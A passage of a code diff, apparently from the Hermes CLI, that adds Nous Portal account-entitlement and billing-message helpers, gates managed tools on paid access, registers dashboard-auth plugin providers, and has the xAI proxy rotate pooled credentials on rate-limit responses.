-        base_url = AI_GATEWAY_BASE_URL
-
-    url = base_url.rstrip("/") + "/models"
-    headers: dict[str, str] = {
-        "Authorization": f"Bearer {api_key}",
-        "User-Agent": _HERMES_USER_AGENT,
-    }
-    req = urllib.request.Request(url, headers=headers)
-    try:
-        with urllib.request.urlopen(req, timeout=timeout) as resp:
-            data = json.loads(resp.read().decode())
-            return [
-                m["id"]
-                for m in data.get("data", [])
-                if m.get("id")
-                and m.get("type") == "language"
-                and "tool-use" in (m.get("tags") or [])
-            ]
-    except Exception:
-        return None
-
-
 def fetch_api_models(
     api_key: Optional[str],
     base_url: Optional[str],

hermes_cli/nous_account.py

@@ -0,0 +1,678 @@
+"""Normalized Nous Portal account entitlement helpers."""
+
+from __future__ import annotations
+
+import hashlib
+import json
+import time
+import urllib.request
+from dataclasses import dataclass
+from datetime import datetime, timezone
+from typing import Any, Literal, Optional
+
+
+NousAccountInfoSource = Literal["jwt", "account_api", "inference_key", "none", "error"]
+
+_ACCOUNT_INFO_CACHE_TTL = 60
+_account_info_cache: tuple[str, float, "NousPortalAccountInfo"] | None = None
+
+
+@dataclass(frozen=True)
+class NousPortalSubscriptionInfo:
+    plan: Optional[str] = None
+    tier: Optional[int] = None
+    monthly_charge: Optional[float] = None
+    current_period_end: Optional[str] = None
+    credits_remaining: Optional[float] = None
+    rollover_credits: Optional[float] = None
+
+
+@dataclass(frozen=True)
+class NousPaidServiceAccessInfo:
+    allowed: Optional[bool] = None
+    paid_access: Optional[bool] = None
+    reason: Optional[str] = None
+    organisation_id: Optional[str] = None
+    effective_at_ms: Optional[int] = None
+    has_active_subscription: Optional[bool] = None
+    active_subscription_is_paid: Optional[bool] = None
+    subscription_tier: Optional[int] = None
+    subscription_monthly_charge: Optional[float] = None
+    subscription_credits_remaining: Optional[float] = None
+    purchased_credits_remaining: Optional[float] = None
+    total_usable_credits: Optional[float] = None
+
+
+@dataclass(frozen=True)
+class NousPortalAccountInfo:
+    logged_in: bool
+    source: NousAccountInfoSource
+    fresh: bool
+    user_id: Optional[str] = None
+    org_id: Optional[str] = None
+    client_id: Optional[str] = None
+    product_id: Optional[str] = None
+    nous_client: Optional[str] = None
+    portal_base_url: Optional[str] = None
+    inference_base_url: Optional[str] = None
+    inference_credential_present: bool = False
+    credential_source: Optional[str] = None
+    expires_at: Optional[datetime] = None
+    email: Optional[str] = None
+    privy_did: Optional[str] = None
+    subscription: Optional[NousPortalSubscriptionInfo] = None
+    paid_service_access: Optional[bool] = None
+    paid_service_access_info: Optional[NousPaidServiceAccessInfo] = None
+    raw_claims: Optional[dict[str, Any]] = None
+    raw_account: Optional[dict[str, Any]] = None
+    error: Optional[str] = None
+
+    @property
+    def is_paid(self) -> bool:
+        return self.paid_service_access is True
+
+    @property
+    def is_free_tier(self) -> bool:
+        return self.paid_service_access is False
+
+    @property
+    def tool_gateway_entitled(self) -> bool:
+        return self.paid_service_access is True
+
+
+def nous_portal_billing_url(account_info: Optional[NousPortalAccountInfo] = None) -> str:
+    """Return the billing URL for a normalized Nous account snapshot."""
+    try:
+        from hermes_cli.auth import DEFAULT_NOUS_PORTAL_URL
+    except Exception:
+        DEFAULT_NOUS_PORTAL_URL = "https://portal.nousresearch.com"
+
+    base = None
+    if account_info is not None:
+        base = account_info.portal_base_url
+    if not isinstance(base, str) or not base.strip():
+        base = DEFAULT_NOUS_PORTAL_URL
+    return f"{base.rstrip('/')}/billing"
+
+
+def format_nous_portal_entitlement_message(
+    account_info: Optional[NousPortalAccountInfo],
+    *,
+    capability: str = "this feature",
+    include_refresh_hint: bool = True,
+) -> Optional[str]:
+    """Return user-facing guidance for a missing Nous paid entitlement.
+
+    ``None`` means the account is known to have paid service access.  The
+    message intentionally works from normalized entitlement fields rather than
+    subscription price alone: purchased credits without a subscription still
+    count as paid access, while a paid subscription with exhausted usable
+    credits does not.
+    """
+    billing_url = nous_portal_billing_url(account_info)
+
+    if account_info is not None and account_info.paid_service_access is True:
+        return None
+
+    if account_info is None:
+        return (
+            f"Hermes could not verify your Nous Portal entitlement, so {capability} "
+            f"is unavailable. Run `hermes model` to refresh your login, or check "
+            f"billing at {billing_url}."
+        )
+
+    if not account_info.logged_in:
+        if account_info.inference_credential_present:
+            return (
+                f"Nous inference credentials are configured, but Hermes cannot verify "
+                f"your Nous Portal paid access for {capability}. Log in with "
+                f"`hermes model` to enable Portal-managed features. Billing and "
+                f"credits are managed at {billing_url}."
+            )
+        return (
+            f"Log in to Nous Portal to use {capability}: run `hermes model`. "
+            f"Billing and credits are managed at {billing_url}."
+        )
+
+    if account_info.paid_service_access is None:
+        detail = (
+            f"Hermes could not verify your Nous Portal paid access, so {capability} "
+            f"is unavailable."
+        )
+        if account_info.error:
+            detail += f" Account lookup failed: {account_info.error}."
+        if include_refresh_hint:
+            detail += " Run `hermes model` to refresh your session."
+        detail += f" Check billing at {billing_url}."
+        return detail
+
+    access = account_info.paid_service_access_info
+    reason = access.reason if access else None
+    if reason == "account_missing":
+        return (
+            f"Hermes could not find a Nous Portal account or organisation for this "
+            f"login, so {capability} is unavailable. Run `hermes model` to "
+            f"authenticate again; if the problem persists, contact Nous support."
+        )
+
+    if reason == "no_usable_credits" or account_info.paid_service_access is False:
+        message = _no_paid_access_message(account_info, capability, billing_url)
+        if include_refresh_hint and not account_info.fresh:
+            message += " If you recently bought credits, run `hermes model` to refresh Hermes."
+        return message
+
+    return (
+        f"Your Nous Portal account does not currently have paid service access, "
+        f"so {capability} is unavailable. Add credits or update billing at {billing_url}."
+    )
+
+
+def _no_paid_access_message(
+    account_info: NousPortalAccountInfo,
+    capability: str,
+    billing_url: str,
+) -> str:
+    access = account_info.paid_service_access_info
+    has_active_subscription = access.has_active_subscription if access else None
+    active_subscription_is_paid = access.active_subscription_is_paid if access else None
+    total_usable = access.total_usable_credits if access else None
+    subscription_credits = access.subscription_credits_remaining if access else None
+    purchased_credits = access.purchased_credits_remaining if access else None
+
+    if has_active_subscription and active_subscription_is_paid:
+        credit_detail = _credit_detail(total_usable, subscription_credits, purchased_credits)
+        return (
+            f"Your Nous Portal credits are exhausted{credit_detail}, so {capability} "
+            f"is unavailable. Top up or renew credits at {billing_url}."
+        )
+
+    if has_active_subscription and active_subscription_is_paid is False:
+        return (
+            f"Your current Nous Portal plan does not include paid service access, "
+            f"so {capability} is unavailable. Upgrade or add credits at {billing_url}."
+        )
+
+    if has_active_subscription is False:
+        credit_detail = _credit_detail(total_usable, subscription_credits, purchased_credits)
+        return (
+            f"Your Nous Portal account has no active subscription or usable credits"
+            f"{credit_detail}, so {capability} is unavailable. Subscribe or add credits "
+            f"at {billing_url}."
+        )
+
+    credit_detail = _credit_detail(total_usable, subscription_credits, purchased_credits)
+    return (
+        f"Your Nous Portal account has no usable paid credits{credit_detail}, so "
+        f"{capability} is unavailable. Add credits or update billing at {billing_url}."
+    )
+
+
+def _credit_detail(
+    total_usable: Optional[float],
+    subscription_credits: Optional[float],
+    purchased_credits: Optional[float],
+) -> str:
+    parts: list[str] = []
+    if total_usable is not None:
+        parts.append(f"usable ${total_usable:.2f}")
+    if subscription_credits is not None:
+        parts.append(f"subscription ${subscription_credits:.2f}")
+    if purchased_credits is not None:
+        parts.append(f"purchased ${purchased_credits:.2f}")
+    if not parts:
+        return ""
+    return f" ({', '.join(parts)})"
+
+
+def reset_nous_portal_account_info_cache() -> None:
+    """Clear the short-lived account-info cache used by tests."""
+    global _account_info_cache
+    _account_info_cache = None
+
+
+def get_nous_portal_account_info(
+    *,
+    force_fresh: bool = False,
+    min_jwt_ttl_seconds: int = 60,
+) -> NousPortalAccountInfo:
+    """Return normalized Nous Portal account entitlement information.
+
+    By default, a valid unexpired OAuth access JWT is used as a low-latency
+    local account snapshot. ``force_fresh=True`` always calls
+    ``/api/oauth/account`` and bypasses the short-lived cache. JWT claims are
+    decoded locally for UX gating only; server APIs remain authoritative.
+    """
+    try:
+        from hermes_cli.auth import get_provider_auth_state
+
+        state = get_provider_auth_state("nous") or {}
+    except Exception as exc:
+        return _error_info(error=exc, logged_in=False)
+
+    access_token = state.get("access_token")
+    portal_base_url = _portal_base_url(state)
+    if not isinstance(access_token, str) or not access_token.strip():
+        pool_oauth_info = _info_from_oauth_pool(
+            force_fresh=force_fresh,
+            min_jwt_ttl_seconds=min_jwt_ttl_seconds,
+            portal_base_url=portal_base_url,
+        )
+        if pool_oauth_info is not None:
+            return pool_oauth_info
+        pool_info = _info_from_inference_key_pool(portal_base_url)
+        if pool_info is not None:
+            return pool_info
+        return NousPortalAccountInfo(
+            logged_in=False,
+            source="none",
+            fresh=False,
+            portal_base_url=portal_base_url,
+        )
+
+    if not force_fresh:
+        jwt_info = _info_from_valid_jwt(
+            access_token,
+            state=state,
+            portal_base_url=portal_base_url,
+            min_jwt_ttl_seconds=min_jwt_ttl_seconds,
+        )
+        if jwt_info is not None:
+            return jwt_info
+
+    return _fresh_account_info(
+        state=state,
+        force_fresh=force_fresh,
+        portal_base_url=portal_base_url,
+    )
+
+
+def _fresh_account_info(
+    *,
+    state: dict[str, Any],
+    force_fresh: bool,
+    portal_base_url: Optional[str],
+) -> NousPortalAccountInfo:
+    global _account_info_cache
+
+    try:
+        from hermes_cli.auth import get_provider_auth_state, resolve_nous_access_token
+
+        access_token = resolve_nous_access_token()
+        refreshed_state = get_provider_auth_state("nous") or state
+        portal_base_url = _portal_base_url(refreshed_state) or portal_base_url
+        cache_key = _cache_key(access_token, portal_base_url)
+
+        if not force_fresh and _account_info_cache is not None:
+            cached_key, cached_at, cached_info = _account_info_cache
+            if cached_key == cache_key and (time.monotonic() - cached_at) < _ACCOUNT_INFO_CACHE_TTL:
+                return cached_info
+
+        payload = _fetch_nous_account_info(access_token, portal_base_url)
+        if not payload:
+            return _error_info(
+                error="empty_account_response",
+                logged_in=True,
+                portal_base_url=portal_base_url,
+            )
+        if isinstance(payload.get("error"), str):
+            return _error_info(
+                error=payload.get("error") or "account_response_error",
+                logged_in=True,
+                portal_base_url=portal_base_url,
+                raw_account=payload,
+            )
+
+        info = _info_from_account_payload(
+            payload,
+            state=refreshed_state,
+            portal_base_url=portal_base_url,
+        )
+        _account_info_cache = (cache_key, time.monotonic(), info)
+        return info
+    except Exception as exc:
+        return _error_info(
+            error=exc,
+            logged_in=bool(state.get("access_token")),
+            portal_base_url=portal_base_url,
+        )
+
+
+def _info_from_inference_key_pool(
+    portal_base_url: Optional[str],
+) -> Optional[NousPortalAccountInfo]:
+    """Return an explicit unknown-entitlement snapshot for opaque Nous keys."""
+    try:
+        entry = _select_nous_pool_entry()
+        if entry is None:
+            return None
+        runtime_key = getattr(entry, "runtime_api_key", None) or getattr(entry, "access_token", "")
+        if not isinstance(runtime_key, str) or not runtime_key.strip():
+            return None
+
+        return NousPortalAccountInfo(
+            logged_in=False,
+            source="inference_key",
+            fresh=False,
+            portal_base_url=(
+                getattr(entry, "portal_base_url", None)
+                or portal_base_url
+            ),
+            inference_base_url=(
+                getattr(entry, "inference_base_url", None)
+                or getattr(entry, "runtime_base_url", None)
+                or getattr(entry, "base_url", None)
+            ),
+            inference_credential_present=True,
+            credential_source=f"pool:{getattr(entry, 'label', 'unknown')}",
+            error="portal_oauth_missing",
+        )
+    except Exception:
+        return None
+
+
+def _info_from_oauth_pool(
+    *,
+    force_fresh: bool,
+    min_jwt_ttl_seconds: int,
+    portal_base_url: Optional[str],
+) -> Optional[NousPortalAccountInfo]:
+    try:
+        entry = _select_nous_pool_entry()
+    except Exception:
+        return None
+    if entry is None or not _pool_entry_is_portal_oauth(entry):
+        return None
+
+    access_token = getattr(entry, "access_token", None)
+    if not isinstance(access_token, str) or not access_token.strip():
+        return None
+
+    entry_portal_url = (
+        getattr(entry, "portal_base_url", None)
+        or portal_base_url
+    )
+    state = {
+        "access_token": access_token,
+        "client_id": getattr(entry, "client_id", None),
+        "inference_base_url": (
+            getattr(entry, "inference_base_url", None)
+            or getattr(entry, "runtime_base_url", None)
+            or getattr(entry, "base_url", None)
+        ),
+        "agent_key": getattr(entry, "agent_key", None),
+        "credential_source": f"pool:{getattr(entry, 'label', 'unknown')}",
+    }
+
+    if not force_fresh:
+        jwt_info = _info_from_valid_jwt(
+            access_token,
+            state=state,
+            portal_base_url=entry_portal_url,
+            min_jwt_ttl_seconds=min_jwt_ttl_seconds,
+        )
+        if jwt_info is not None:
+            return jwt_info
+
+    try:
+        payload = _fetch_nous_account_info(access_token, entry_portal_url)
+    except Exception as exc:
+        return _error_info(
+            error=exc,
+            logged_in=True,
+            portal_base_url=entry_portal_url,
+        )
+    if not payload:
+        return _error_info(
+            error="empty_account_response",
+            logged_in=True,
+            portal_base_url=entry_portal_url,
+        )
+    if isinstance(payload.get("error"), str):
+        return _error_info(
+            error=payload.get("error") or "account_response_error",
+            logged_in=True,
+            portal_base_url=entry_portal_url,
+            raw_account=payload,
+        )
+    return _info_from_account_payload(
+        payload,
+        state=state,
+        portal_base_url=entry_portal_url,
+    )
+
+
+def _select_nous_pool_entry() -> Optional[Any]:
+    from agent.credential_pool import load_pool
+
+    pool = load_pool("nous")
+    if not pool or not pool.has_credentials():
+        return None
+    entries = list(pool.entries())
+    if not entries:
+        return None
+
+    def _entry_sort_key(entry: Any) -> tuple[float, float, int]:
+        agent_exp = _parse_iso_timestamp(getattr(entry, "agent_key_expires_at", None)) or 0.0
+        access_exp = _parse_iso_timestamp(getattr(entry, "expires_at", None)) or 0.0
+        priority = int(getattr(entry, "priority", 0) or 0)
+        return (agent_exp, access_exp, -priority)
+
+    return max(entries, key=_entry_sort_key)
+
+
+def _pool_entry_is_portal_oauth(entry: Any) -> bool:
+    access_token = getattr(entry, "access_token", None)
+    if not isinstance(access_token, str) or not access_token.strip():
+        return False
+    auth_type = str(getattr(entry, "auth_type", "") or "").strip().lower()
+    refresh_token = getattr(entry, "refresh_token", None)
+    return auth_type.startswith("oauth") or bool(refresh_token)
+
+
+def _fetch_nous_account_info(
+    access_token: str,
+    portal_base_url: Optional[str] = None,
+) -> dict[str, Any]:
+    base = (portal_base_url or "https://portal.nousresearch.com").rstrip("/")
+    url = f"{base}/api/oauth/account"
+    headers = {
+        "Authorization": f"Bearer {access_token}",
+        "Accept": "application/json",
+    }
+    req = urllib.request.Request(url, headers=headers)
+    with urllib.request.urlopen(req, timeout=8) as resp:
+        payload = json.loads(resp.read().decode())
+    return payload if isinstance(payload, dict) else {}
+
+
+def _info_from_valid_jwt(
+    token: str,
+    *,
+    state: dict[str, Any],
+    portal_base_url: Optional[str],
+    min_jwt_ttl_seconds: int,
+) -> Optional[NousPortalAccountInfo]:
+    try:
+        from hermes_cli.auth import _decode_jwt_claims
+    except Exception:
+        return None
+
+    claims = _decode_jwt_claims(token)
+    if not claims:
+        return None
+
+    exp = _coerce_float(claims.get("exp"))
+    if exp is None or exp <= time.time() + max(0, int(min_jwt_ttl_seconds)):
+        return None
+
+    paid_access = _coerce_bool(claims.get("paid_access"))
+    subscription_tier = _coerce_int(claims.get("subscription_tier"))
+    access_info = NousPaidServiceAccessInfo(
+        allowed=paid_access,
+        paid_access=paid_access,
+        organisation_id=_coerce_str(claims.get("org_id")),
+        subscription_tier=subscription_tier,
+    )
+
+    return NousPortalAccountInfo(
+        logged_in=True,
+        source="jwt",
+        fresh=False,
+        user_id=_coerce_str(claims.get("sub")),
+        org_id=_coerce_str(claims.get("org_id")),
+        client_id=_coerce_str(claims.get("client_id") or state.get("client_id")),
+        product_id=_coerce_str(claims.get("product_id")),
+        nous_client=_coerce_str(claims.get("nous_client")),
+        portal_base_url=portal_base_url,
+        inference_base_url=_coerce_str(state.get("inference_base_url")),
+        inference_credential_present=True,
+        credential_source=_coerce_str(state.get("credential_source")) or "auth_store",
+        expires_at=datetime.fromtimestamp(exp, tz=timezone.utc),
+        paid_service_access=paid_access,
+        paid_service_access_info=access_info,
+        raw_claims=dict(claims),
+    )
+
+
+def _info_from_account_payload(
+    payload: dict[str, Any],
+    *,
+    state: dict[str, Any],
+    portal_base_url: Optional[str],
+) -> NousPortalAccountInfo:
+    user = payload.get("user") if isinstance(payload.get("user"), dict) else {}
+    organisation = (
+        payload.get("organisation")
+        if isinstance(payload.get("organisation"), dict)
+        else {}
+    )
+    subscription = _subscription_from_payload(payload.get("subscription"))
+    access = _paid_service_access_from_payload(payload.get("paid_service_access"))
+    paid_access = access.allowed if access else None
+    if paid_access is None and access is not None:
+        paid_access = access.paid_access
+
+    return NousPortalAccountInfo(
+        logged_in=True,
+        source="account_api",
+        fresh=True,
+        org_id=_coerce_str(organisation.get("id")) or (access.organisation_id if access else None),
+        client_id=_coerce_str(state.get("client_id")),
+        portal_base_url=portal_base_url,
+        inference_base_url=_coerce_str(state.get("inference_base_url")),
+        inference_credential_present=bool(state.get("access_token") or state.get("agent_key")),
+        credential_source=_coerce_str(state.get("credential_source")) or "auth_store",
+        email=_coerce_str(user.get("email")),
+        privy_did=_coerce_str(user.get("privy_did")),
+        subscription=subscription,
+        paid_service_access=paid_access,
+        paid_service_access_info=access,
+        raw_account=dict(payload),
+    )
+
+
+def _subscription_from_payload(value: Any) -> Optional[NousPortalSubscriptionInfo]:
+    if not isinstance(value, dict):
+        return None
+    return NousPortalSubscriptionInfo(
+        plan=_coerce_str(value.get("plan")),
+        tier=_coerce_int(value.get("tier")),
+        monthly_charge=_coerce_float(value.get("monthly_charge")),
+        current_period_end=_coerce_str(value.get("current_period_end")),
+        credits_remaining=_coerce_float(value.get("credits_remaining")),
+        rollover_credits=_coerce_float(value.get("rollover_credits")),
+    )
+
+
+def _paid_service_access_from_payload(value: Any) -> Optional[NousPaidServiceAccessInfo]:
+    if not isinstance(value, dict):
+        return None
+    allowed = _coerce_bool(value.get("allowed"))
+    paid_access = _coerce_bool(value.get("paid_access"))
+    return NousPaidServiceAccessInfo(
+        allowed=allowed,
+        paid_access=paid_access,
+        reason=_coerce_str(value.get("reason")),
+        organisation_id=_coerce_str(value.get("organisation_id")),
+        effective_at_ms=_coerce_int(value.get("effective_at_ms")),
+        has_active_subscription=_coerce_bool(value.get("has_active_subscription")),
+        active_subscription_is_paid=_coerce_bool(value.get("active_subscription_is_paid")),
+        subscription_tier=_coerce_int(value.get("subscription_tier")),
+        subscription_monthly_charge=_coerce_float(value.get("subscription_monthly_charge")),
+        subscription_credits_remaining=_coerce_float(value.get("subscription_credits_remaining")),
+        purchased_credits_remaining=_coerce_float(value.get("purchased_credits_remaining")),
+        total_usable_credits=_coerce_float(value.get("total_usable_credits")),
+    )
+
+
+def _error_info(
+    *,
+    error: object,
+    logged_in: bool,
+    portal_base_url: Optional[str] = None,
+    raw_account: Optional[dict[str, Any]] = None,
+) -> NousPortalAccountInfo:
+    return NousPortalAccountInfo(
+        logged_in=logged_in,
+        source="error",
+        fresh=False,
+        portal_base_url=portal_base_url,
+        raw_account=raw_account,
+        error=str(error),
+    )
+
+
+def _portal_base_url(state: dict[str, Any]) -> Optional[str]:
+    value = state.get("portal_base_url")
+    if not isinstance(value, str) or not value.strip():
+        return None
+    return value.strip().rstrip("/")
+
+
+def _cache_key(access_token: str, portal_base_url: Optional[str]) -> str:
+    digest = hashlib.sha256(access_token.encode("utf-8")).hexdigest()
+    return f"{portal_base_url or ''}:{digest}"
+
+
+def _parse_iso_timestamp(value: Any) -> Optional[float]:
+    if not isinstance(value, str) or not value:
+        return None
+    text = value.strip()
+    if text.endswith("Z"):
+        text = text[:-1] + "+00:00"
+    try:
+        return datetime.fromisoformat(text).timestamp()
+    except Exception:
+        return None
+
+
+def _coerce_str(value: Any) -> Optional[str]:
+    if isinstance(value, str) and value:
+        return value
+    return None
+
+
+def _coerce_bool(value: Any) -> Optional[bool]:
+    return value if isinstance(value, bool) else None
+
+
+def _coerce_int(value: Any) -> Optional[int]:
+    if isinstance(value, bool):
+        return None
+    try:
+        if value is None:
+            return None
+        return int(value)
+    except (TypeError, ValueError):
+        return None
+
+
+def _coerce_float(value: Any) -> Optional[float]:
+    if isinstance(value, bool):
+        return None
+    try:
+        if value is None:
+            return None
+        return float(value)
+    except (TypeError, ValueError):
+        return None

hermes_cli/nous_subscription.py

@@ -6,8 +6,8 @@ from dataclasses import dataclass
 from pathlib import Path
 from typing import Dict, Iterable, Optional, Set
 
-from hermes_cli.auth import get_nous_auth_status
 from hermes_cli.config import get_env_value, load_config
+from hermes_cli.nous_account import NousPortalAccountInfo, get_nous_portal_account_info
 from tools.managed_tool_gateway import is_managed_tool_gateway_ready
 from utils import is_truthy_value
 from tools.tool_backend_helpers import (
@@ -53,6 +53,7 @@ class NousSubscriptionFeatures:
     nous_auth_present: bool
     provider_is_nous: bool
     features: Dict[str, NousFeatureState]
+    account_info: Optional[NousPortalAccountInfo] = None
 
     @property
     def web(self) -> NousFeatureState:
@@ -227,6 +228,8 @@ def _resolve_browser_feature_state(
 
 def get_nous_subscription_features(
     config: Optional[Dict[str, object]] = None,
+    *,
+    force_fresh: bool = False,
 ) -> NousSubscriptionFeatures:
     if config is None:
         config = load_config() or {}
@@ -235,12 +238,19 @@ def get_nous_subscription_features(
     provider_is_nous = str(model_cfg.get("provider") or "").strip().lower() == "nous"
 
     try:
-        nous_status = get_nous_auth_status()
+        if force_fresh:
+            account_info = get_nous_portal_account_info(force_fresh=True)
+        else:
+            account_info = get_nous_portal_account_info()
     except Exception:
-        nous_status = {}
+        account_info = None
 
-    managed_tools_flag = managed_nous_tools_enabled()
-    nous_auth_present = bool(nous_status.get("logged_in"))
+    managed_tools_flag = bool(
+        account_info
+        and account_info.logged_in
+        and account_info.paid_service_access is True
+    )
+    nous_auth_present = bool(account_info and account_info.logged_in)
     subscribed = provider_is_nous or nous_auth_present
 
     web_tool_enabled = _toolset_enabled(config, "web")
@@ -317,6 +327,7 @@ def get_nous_subscription_features(
         modal_mode,
         has_direct=direct_modal,
         managed_ready=managed_modal_available,
+        managed_enabled=managed_tools_flag,
     )
 
     web_managed = web_backend == "firecrawl" and managed_web_available and not direct_firecrawl
@@ -483,6 +494,7 @@ def get_nous_subscription_features(
         nous_auth_present=nous_auth_present,
         provider_is_nous=provider_is_nous,
         features=features,
+        account_info=account_info,
     )
 
 
@@ -493,11 +505,15 @@ def apply_nous_managed_defaults(
     config: Dict[str, object],
     *,
     enabled_toolsets: Optional[Iterable[str]] = None,
+    force_fresh: bool = False,
 ) -> set[str]:
-    if not managed_nous_tools_enabled():
+    features = get_nous_subscription_features(config, force_fresh=force_fresh)
+    if not (
+        features.account_info
+        and features.account_info.logged_in
+        and features.account_info.paid_service_access is True
+    ):
         return set()
-
-    features = get_nous_subscription_features(config)
     if not features.provider_is_nous:
         return set()
 
@@ -594,6 +610,8 @@ _ALL_GATEWAY_KEYS = ("web", "image_gen", "tts", "browser")
 
 def get_gateway_eligible_tools(
     config: Optional[Dict[str, object]] = None,
+    *,
+    force_fresh: bool = False,
 ) -> tuple[list[str], list[str], list[str]]:
     """Return (unconfigured, has_direct, already_managed) tool key lists.
 
@@ -604,7 +622,11 @@ def get_gateway_eligible_tools(
     All lists are empty when the user is not a paid Nous subscriber or
     is not using Nous as their provider.
     """
-    if not managed_nous_tools_enabled():
+    if force_fresh:
+        managed_enabled = managed_nous_tools_enabled(force_fresh=True)
+    else:
+        managed_enabled = managed_nous_tools_enabled()
+    if not managed_enabled:
         return [], [], []
 
     if config is None:
@@ -695,7 +717,11 @@ def apply_gateway_defaults(
     return changed
 
 
-def prompt_enable_tool_gateway(config: Dict[str, object]) -> set[str]:
+def prompt_enable_tool_gateway(
+    config: Dict[str, object],
+    *,
+    force_fresh: bool = True,
+) -> set[str]:
     """If eligible tools exist, prompt the user to enable the Tool Gateway.
 
     Uses prompt_choice() with a description parameter so the curses TUI
@@ -704,7 +730,10 @@ def prompt_enable_tool_gateway(config: Dict[str, object]) -> set[str]:
     Returns the set of tools that were enabled, or empty set if the user
     declined or no tools were eligible.
     """
-    unconfigured, has_direct, already_managed = get_gateway_eligible_tools(config)
+    unconfigured, has_direct, already_managed = get_gateway_eligible_tools(
+        config,
+        force_fresh=force_fresh,
+    )
     if not unconfigured and not has_direct:
         return set()
 

hermes_cli/plugins.py

@@ -553,6 +553,46 @@ class PluginContext:
             self.manifest.name, provider.name,
         )
 
+    # -- dashboard auth provider registration --------------------------------
+
+    def register_dashboard_auth_provider(self, provider) -> None:
+        """Register a dashboard authentication provider.
+
+        ``provider`` must be an instance of
+        :class:`hermes_cli.dashboard_auth.DashboardAuthProvider`. Used by
+        the dashboard OAuth auth gate, which engages when the dashboard
+        binds to a non-loopback host without ``--insecure``.
+
+        Misbehaving providers (wrong type, duplicate name) are logged at
+        WARNING and silently ignored — never raised — so a broken plugin
+        cannot crash the host. Same convention as
+        ``register_image_gen_provider``.
+        """
+        from hermes_cli.dashboard_auth import (
+            DashboardAuthProvider, register_provider,
+        )
+
+        if not isinstance(provider, DashboardAuthProvider):
+            logger.warning(
+                "Plugin '%s' tried to register a dashboard-auth provider "
+                "that does not inherit from DashboardAuthProvider. Ignoring.",
+                self.manifest.name,
+            )
+            return
+        try:
+            register_provider(provider)
+        except (TypeError, ValueError) as e:
+            logger.warning(
+                "Plugin '%s' failed to register dashboard-auth provider "
+                "%r: %s",
+                self.manifest.name, getattr(provider, "name", "?"), e,
+            )
+            return
+        logger.info(
+            "Plugin '%s' registered dashboard-auth provider: %s (%s)",
+            self.manifest.name, provider.name, provider.display_name,
+        )
+
     # -- video gen provider registration -------------------------------------
 
     def register_video_gen_provider(self, provider) -> None:

hermes_cli/plugins_cmd.py

@@ -864,12 +864,35 @@ def _discover_memory_providers() -> list[tuple[str, str]]:
 
 
 def _discover_context_engines() -> list[tuple[str, str]]:
-    """Return [(name, description), ...] for available context engines."""
+    """Return [(name, description), ...] for available context engines.
+
+    Includes repo-shipped engines from ``plugins/context_engine/`` AND
+    plugin-registered engines (third-party engines installed as Hermes
+    plugins via ``ctx.register_context_engine``). Repo-shipped descriptions
+    win when a plugin-registered engine collides on name.
+    """
+    engines: list[tuple[str, str]] = []
+    seen: set[str] = set()
+
     try:
         from plugins.context_engine import discover_context_engines
-        return [(name, desc) for name, desc, _avail in discover_context_engines()]
+        for name, desc, _avail in discover_context_engines():
+            if name not in seen:
+                engines.append((name, desc))
+                seen.add(name)
     except Exception:
-        return []
+        pass
+
+    try:
+        from hermes_cli.plugins import discover_plugins, get_plugin_context_engine
+        discover_plugins()
+        plugin_engine = get_plugin_context_engine()
+        if plugin_engine and getattr(plugin_engine, "name", None) and plugin_engine.name not in seen:
+            engines.append((plugin_engine.name, "installed plugin"))
+    except Exception:
+        pass
+
+    return engines
 
 
 def _get_current_memory_provider() -> str:

hermes_cli/providers.py

@@ -143,10 +143,6 @@ HERMES_OVERLAYS: Dict[str, HermesOverlay] = {
         transport="openai_chat",
         base_url_env_var="ALIBABA_CODING_PLAN_BASE_URL",
     ),
-    "vercel": HermesOverlay(
-        transport="openai_chat",
-        is_aggregator=True,
-    ),
     "opencode": HermesOverlay(
         transport="openai_chat",
         is_aggregator=True,
@@ -290,11 +286,6 @@ ALIASES: Dict[str, str] = {
     "github": "github-copilot",
     "github-copilot-acp": "copilot-acp",
 
-    # vercel (models.dev ID for AI Gateway)
-    "ai-gateway": "vercel",
-    "aigateway": "vercel",
-    "vercel-ai-gateway": "vercel",
-
     # opencode (models.dev ID for OpenCode Zen)
     "opencode-zen": "opencode",
     "zen": "opencode",

hermes_cli/proxy/adapters/nous_portal.py

@@ -104,7 +104,7 @@ class NousPortalAdapter(UpstreamAdapter):
             state = self._read_state()
             if state is None:
                 raise RuntimeError(
-                    "Not logged into Nous Portal. Run `hermes login nous` first."
+                    "Not logged into Nous Portal. Run `hermes auth add nous` first."
                 )
 
             try:
@@ -135,7 +135,7 @@ class NousPortalAdapter(UpstreamAdapter):
             if not agent_key:
                 raise RuntimeError(
                     "Nous Portal refresh did not return a usable agent_key. "
-                    "Try `hermes login nous` to re-authenticate."
+                    "Try `hermes auth add nous` to re-authenticate."
                 )
 
             base_url = (

hermes_cli/proxy/adapters/xai.py

@@ -79,7 +79,7 @@ class XAIGrokAdapter(UpstreamAdapter):
         failed_credential: UpstreamCredential,
         status_code: int,
     ) -> Optional[UpstreamCredential]:
-        if status_code != 401:
+        if status_code not in {401, 429}:
             return None
 
         with self._lock:
@@ -87,16 +87,25 @@ class XAIGrokAdapter(UpstreamAdapter):
             if pool is None:
                 return None
 
-            refreshed = pool.try_refresh_current()
-            if refreshed is None:
+            if status_code == 429:
+                # Mark the rate-limited key with its 1-hour cooldown and rotate
+                # to the next available credential. Returns None when the pool
+                # has no other key to offer — the 429 will flow back to the client.
                 refreshed = pool.mark_exhausted_and_rotate(status_code=status_code)
+            else:
+                refreshed = pool.try_refresh_current()
+                if refreshed is None:
+                    refreshed = pool.mark_exhausted_and_rotate(status_code=status_code)
             if refreshed is None:
                 return None
 
             retry_cred = self._credential_from_entry(refreshed)
             if retry_cred.bearer == failed_credential.bearer:
                 return None
-            logger.info("proxy: xAI upstream rejected bearer; retrying with refreshed pool credential")
+            logger.info(
+                "proxy: xAI upstream returned %s; retrying with rotated pool credential",
+                status_code,
+            )
             return retry_cred
 
     def _load_pool(self) -> Optional[CredentialPool]:

hermes_cli/proxy/cli.py

@@ -44,7 +44,7 @@ def cmd_proxy_start(args: Any) -> int:
         return 2
 
     if not adapter.is_authenticated():
-        auth_hint = getattr(adapter, "auth_hint", f"hermes login {adapter.name}")
+        auth_hint = getattr(adapter, "auth_hint", f"hermes auth add {adapter.name}")
         print(
             f"Not logged into {adapter.display_name}. "
             f"Run `{auth_hint}` first.",

hermes_cli/proxy/server.py

@@ -206,7 +206,7 @@ def create_app(adapter: UpstreamAdapter) -> "web.Application":
             return session_or_response
         session = session_or_response
 
-        if upstream_resp.status == 401:
+        if upstream_resp.status in {401, 429}:
